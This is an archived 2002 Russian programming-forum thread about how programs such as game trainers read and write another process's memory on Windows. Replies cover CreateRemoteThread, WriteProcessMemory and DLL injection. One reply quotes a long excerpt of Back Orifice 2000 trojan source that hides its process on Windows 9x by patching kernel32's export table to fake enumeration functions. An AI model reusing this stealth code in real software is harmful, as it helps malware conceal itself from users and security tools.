Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Потрепаться";
Текущий архив: 2002.06.10;
Скачать: [xml.tar.bz2];

Вниз

Чужое адресное пространство.   Найти похожие ветки 

 
MemoryLeak   (2002-05-07 09:40) [0]

Насколько я знаю, программа под виндовс может работать только в своём адресном пространстве. Но программы наподобие Trainer и ArtMoney изменяют значения в чужом адресном пространстве, причём во время их использованья.
Прошу лишь прокомментировать или разъяснить где я не прав.


 
ION T   (2002-05-07 09:56) [1]

CreateRemoteThread()


 
Digitman   (2002-05-07 10:02) [2]

Приложения могут вряде случаев получить доступ к "чужому" АП, используя документированные Win32API-вызовы ReadProcessMemory()/WriteProcessMemory(), там, где это допускается security-параметрами целевого процесса. Можно "вломиться" и в обход security, но это - из области недокументированных возможностей NT-платформ. Именно так, внедряя (в W2k) указанный ему исп.код в "чужое" АП, BO2 добивается неплохой степени маскировки исп.кода, самым наглым образом "выкидывая родной" код из АП целевого процесса, записывая в целевое АП "свой" код и стартуя его как удаленный кодовый поток, в обход security. Более того, диспетч.точки входа в экспортируемые ф-ции kernel32.dll, загруженной целевым процессом и отображенной на его АП, BO2 успешно перехватывает и перезаписывает нужным ему образом.


 
VID   (2002-05-07 11:49) [3]

SPECIAL TO DIGITMAN: даа... :)


 
Digitman   (2002-05-07 12:03) [4]

>VID

Тебя что-то смущает ? Или есть возражения/комментарии ? Что ж , приводи !) ... Тема-то на самом деле - интересная да не столь простая ...


 
VID   (2002-05-07 12:52) [5]

TO Digitman: да ты что ?!!! Да упаси господь! :))) Какие возражения :)


 
Digitman   (2002-05-07 12:56) [6]

>VID
Ну, звыняй тогда) ... Знать, почудилось) ... А так хотелось...


 
SPeller   (2002-05-07 12:58) [7]

А кто видел Cheat "O Matic ? Там ведь один ЕХЕ-шник, под 98, МЕ прекрасно работает, пишет куда надо и то что надо.

КАК?


 
Digitman   (2002-05-07 13:11) [8]

Так, а что там оригинального, в Cheat "O Matic ? С Маздаем-то вообще никаких проблем нет !) "Дырявый" он насквозь: ни тебе security ни привелегированного доступа к страницам памяти, по-настоящему грамотно организованных, нет)... Лезь куда хочешь - не ленись)))))

Вот ключевой код того же пресловутого BO2 (в части Win9x), позволяющий модифицировать нужные ему EntryPoints в kernel32.dll :


} else { //---------------------------------- WINDOWS 95 PROCESS HIDE -------------
// This one works differently because we don"t necessarily have
// the functionality to do a "CreateRemoteThread()". And for
// various reasons, hijacking another thread and changing its
// context to do your bidding doens"t really work. It"s because
// the thread you hijack may be blocked on a mutex/semaphore/etc
// and won"t resume execution to run your code until the blocking
// ID is signaled by the system. So, we have to just hack kernel32.dll
// to forget that our process exists :)

// Start up PE Image Loader

pRegisterServiceProcess(NULL,1);

// Get undocumented VxDCall procedure
HMODULE hModule=GetModuleHandle("kernel32.dll");
FARPROC VxDCall=GetDLLProcAddress(hModule,(LPCSTR)1);

// Check for kernel32.dll export table
PIMAGE_OPTIONAL_HEADER poh=(PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(hModule);
DWORD dwSize=poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
if(dwSize==0) return NULL;

// Good, we have an export table. Lets get it.
PIMAGE_EXPORT_DIRECTORY ped;
ped=(IMAGE_EXPORT_DIRECTORY *)RVATOVA(hModule,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

// Change protection on kernel32.dll export table (make writable)
// (can"t use "VirtualProtect")
DWORD dwFirstPage, dwNumPages;
dwFirstPage=((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))/4096;
dwNumPages=((( (((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))-(dwFirstPage*4096)+ped->NumberOfFunctions)) *4)+4095)/4096;

_asm {
push 020060000h // PC_WRITEABLE | PC_USER | PC_STATIC
push 0FFFFFFFFh // Keep all previous bits
push dword ptr [dwNumPages] // dword ptr [mbi+0Ch] # of pages
push dword ptr [dwFirstPage] // dword ptr [ped] page #
push 1000Dh // _PageModifyPermissions (win32_service_table #)
call dword ptr [VxDCall] // VxDCall0
}

// Fix kernel32.dll export table if I happened to fuck things
// up earlier (run bo2k, crash out, and restart)

SpawnCleanup();

InitializeDLLLoad();

// Get shared memory
DWORD dwCodeSize=((DWORD)&EndOfHappyCode) - ((DWORD)&StartOfHappyCode);
LPVOID lpBase;
lpBase=VirtualAlloc((LPVOID)0x9CDC0000,dwCodeSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(lpBase!=(LPVOID)0x9CDC0000) lpBase=(LPVOID)0x9CDC0000;

// Copy code into shared memory
memcpy(lpBase,(void *)(&StartOfHappyCode),dwCodeSize);

// Store procedure addresses
DWORD dwOldAddress[6],dwCurPid;
dwCurPid=GetCurrentProcessId();
dwOldAddress[0]=(DWORD)GetDLLProcAddress(hModule,"Process32First");
dwOldAddress[1]=(DWORD)GetDLLProcAddress(hModule,"Process32Next");
dwOldAddress[2]=(DWORD)GetDLLProcAddress(hModule,"Thread32First");
dwOldAddress[3]=(DWORD)GetDLLProcAddress(hModule,"Thread32Next");
dwOldAddress[4]=(DWORD)GetDLLProcAddress(hModule,"Module32First");
dwOldAddress[5]=(DWORD)GetDLLProcAddress(hModule,"Module32Next");

// Modify code to correct addresses
DWORD i;
for(i=0;i<(dwCodeSize-4);i++) {
DWORD *dwPtr=(DWORD *)((BYTE *)lpBase+i);
if (*dwPtr==0x11111111) *dwPtr=dwCurPid;
else if(*dwPtr==0x22222222) *dwPtr=(DWORD)dwOldAddress[0];
else if(*dwPtr==0x33333333) *dwPtr=(DWORD)dwOldAddress[1];
else if(*dwPtr==0x44444444) *dwPtr=(DWORD)dwOldAddress[2];
else if(*dwPtr==0x55555555) *dwPtr=(DWORD)dwOldAddress[3];
else if(*dwPtr==0x66666666) *dwPtr=(DWORD)dwOldAddress[4];
else if(*dwPtr==0x77777777) *dwPtr=(DWORD)dwOldAddress[5];
}

// Now we modify the export table to point to our replacement code

SetDLLProcAddress(hModule,"Process32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32First)));
SetDLLProcAddress(hModule,"Process32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32Next)));
SetDLLProcAddress(hModule,"Thread32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32First)));
SetDLLProcAddress(hModule,"Thread32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32Next)));
SetDLLProcAddress(hModule,"Module32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32First)));
SetDLLProcAddress(hModule,"Module32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32Next)));

// Done with dll_load
KillDLLLoad();

EntryPoint(GetModuleHandle(NULL));

SpawnCleanup();

}

return TRUE;
}




 
Digitman   (2002-05-07 13:21) [9]

P.S. Хотя в данном случае работа идет и не с "чужим" АП, суть от этого не меняется ни сколько : для "чужого" АП просто (после соотв-щих расчетов нужных исполнительных адресов в "чужом" экз-ре того же kernel32) задействуются все те жк VirtualProtectEx(), Read/WriteProcessMemory()


 
MemoryLeak   (2002-05-07 16:58) [10]

В Win2000 служба под названием "Защищённое Хранилище" по-моему никак не пресекает попытки CreateRemoteThread залезть в чужое адресно пространство, однако зачастую появляется "Access Vialation", хотя и бывают случаи безболезненных попыток... но систематику я отследить не могу....когда как..


 
Alexander Dedusenko   (2002-05-07 17:37) [11]

Можно внедрить свою Dll в чужое адресное пространство. За подробностями: читай Рихтера.



Страницы: 1 вся ветка

Форум: "Потрепаться";
Текущий архив: 2002.06.10;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.49 MB
Время: 0.006 c
6-30946
Alexei111
2002-03-28 09:35
2002.06.10
Подключение (программно) через удаленный доступ к компьютеру


4-31046
SeriogaL
2002-04-04 19:47
2002.06.10
Как вызвать функцию из 16 битного приложения ?


1-30740
Miron12
2002-05-28 18:37
2002.06.10
ошибка Index is out of bounds


6-30955
Doom
2002-04-02 10:39
2002.06.10
Описание портов


4-31042
anaxemon
2002-04-08 08:21
2002.06.10
консольный режим





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский